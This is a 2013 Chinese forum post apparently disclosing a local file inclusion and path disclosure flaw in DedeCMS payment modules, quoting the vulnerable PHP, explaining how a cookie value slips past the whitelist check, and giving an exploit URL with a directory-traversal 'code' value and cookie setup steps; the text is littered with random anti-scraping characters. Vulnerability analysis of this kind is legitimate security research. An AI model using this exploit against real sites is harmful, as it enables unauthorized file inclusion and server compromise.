找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2473|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)+ Y1 O8 D+ u* z  S- e, b
! X4 N3 K4 k3 r4 M3 H/ M  p/ v
出现漏洞的两个文件为:
( u. C8 q2 n- b' a( BInclude/payment/alipay.php
; e. M& V7 |* K( y. K5 oInclude/payment/yeepay.php* f* h" y% l* J# Q+ O
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
0 I& V, H6 a& U3 D+ [  O4 @1 P
2 v  o/ F% |' YInclude/payment/alipay.php
, |  r/ y# l0 |" V
6 Y. P& H5 g7 n/ I3 o......4 Q  ~0 M3 D' v4 _% {; X5 {8 c$ d, B
   function respond()0 b* c) D2 g4 Z+ u
    {
9 J: X" a! D+ k0 g5 l1 V7 |9 @        if (!empty($_POST))8 {$ ?6 U3 m- y" ^" E- \$ h
        {
3 L+ `/ z4 V8 I            foreach($_POST as $key => $data)
% G) ^8 S6 {: b$ ~+ `/ m% `# |            {5 s( O1 @! _" i7 P" I, l
                $_GET[$key] = $data;
. W0 {$ F; i! B/ v            }
, G; s# n# {$ U$ [% \) g        }
% t5 f- L  R8 f5 M        /* 引入配置文件 */
3 `; ?( b. e( G  p5 X        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';4 u. \3 T! ~8 F
...... 9 p  d+ _: B/ K1 R. N0 M3 ?8 d, _

$ E/ Z$ A& z. \6 G1 K1 c. t/ `) |% ^. w1 F3 F- \% D& K
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
% Z5 E- O  v+ `( ?, {/ ^7 l- K( E  w% v6 Q- f
Include/payment/yeepay.php. u4 }1 l" q9 y2 q. ~, N8 P0 {

( c1 e! H, }5 G* p- n! M$ c$ V
- W  |) Y. _- S4 Z9 K
) b4 s: _  U& |+ @% o......9 y( U# c% Y) \  [: Q  m, r0 f
    function respond()4 ^8 v* ~& g9 U3 O
    {$ c; ~# M. U+ F' \- t6 W6 b

) h! U/ m: i& K. r2 O$ `" z6 E        /* 引入配置文件 */
- [9 }' N$ Z! n! [, L' e+ r        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';9 D( Q& _2 a: t8 Z+ ?( k

) U& C% A% w8 q& R5 f% w5 i; c9 h        $p1_MerId = trim($payment['yp_account']);
/ c" M1 Y3 n8 b        $merchantKey = trim($payment['yp_key']);  c5 j9 B7 G8 L0 i5 M; l
......
6 U; ~9 R: Y; s$ z0 m) R4 _/ ^
9 s( w$ e8 n! a$ V  ^
" @. b3 L9 c" n  H% d' Q8 ^6 A ( A8 D! P+ H4 F( F: B- u* t

9 ], c' N+ ?! E( [7 R大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。* P2 C6 Y7 ]$ _2 e0 C

% j9 E) G( u& Q* Q这两个方法在plus/carbuyaction.php文件调用。6 B0 N- f% R# O/ H) X- S4 k2 D

# q9 u& h; l  C4 I- U6 `( C9 Qplus/carbuyaction.php  F) w  y) C- k

) m( a+ ?9 s) A1 Q6 K......4 N. D: g- ^! z" U( V" O# x
} else if ($dopost == 'return') {
$ i4 W. L/ u3 W: _2 x0 r& B    $write_list = array('alipay', 'bank', 'cod', 'yeepay');/ B' C3 y# q8 d0 E& ?6 t: p7 g
    if (in_array($code, $write_list))
# f4 s: t3 C# p* r0 F/ F9 d9 l    {
0 f$ t1 j$ U8 _6 F5 }6 e        require_once DEDEINC.'/payment/'.$code.'.php';6 O: m' R- T  N* F
        $pay = new $code;
( z  i( D; g2 f/ w, m4 a        $msg=$pay->respond();
# [6 V( U! i* F" L3 f! Z        ShowMsg($msg, "javascript:;", 0, 3000);2 q8 t3 l' ~3 r$ C) f" N6 F
        exit();  ; f& ]1 j: h5 W( F
    } else {! z% z6 ~2 }, ^/ _4 i
        exit('Error:File Type Can\'t Recognized!');
9 i* W9 v& G* D" ^2 i7 Q    }7 ]1 ~& ~. N2 Y. Q
}" e0 C; I2 S" }$ P8 o' g- E
......
7 g4 |: p2 N* Y
5 U* N' T8 D5 p, ~, i3 ]3 ^
' D( p$ w. i) ~5 K0 I - N+ l* N/ S8 J, b; @* g% n8 v

& Q0 D* X- K) q3 ]5 }
1 v  `* |' L0 c2 F  x
- g/ [4 f4 G" M& m' r大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。' z2 e; |6 X% ?/ D) a, o& X
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
6 x. |% r  p* b0 r, u  w. g+ F# j6 M# p8 \
回到include/common.inc.php来看看他的机制。
, g: Z7 _8 `4 ^- d. e+ r& C
8 c* I9 U* l& m9 b- v* K2 o- \ + P4 x5 j$ \. r& R( J/ v1 x4 c& N

" B/ O3 r, a1 L- d......5 p% u) m- _; m1 h8 ?
foreach(Array('_GET','_POST','_COOKIE') as $_request)" C# J- B/ ]' W
{
9 i) a0 ~/ Z# a) z2 m) L        foreach($$_request as $_k => $_v)
4 O' m8 }* V$ |0 J        {# |0 N1 I" \5 R) \, o# z
                if($_k == 'nvarname') ${$_k} = $_v;/ }/ V1 R3 [) \3 f
                else ${$_k} = _RunMagicQuotes($_v);5 l& @/ }' g+ \, m7 g' o
        }
5 X( }0 B% F' Z' M# ^}
1 M$ m! S4 Q! q' k  J7 T& n...... 9 O- X* T: h) F7 d6 k
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:2 [( Y5 e; F# p. G2 c
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表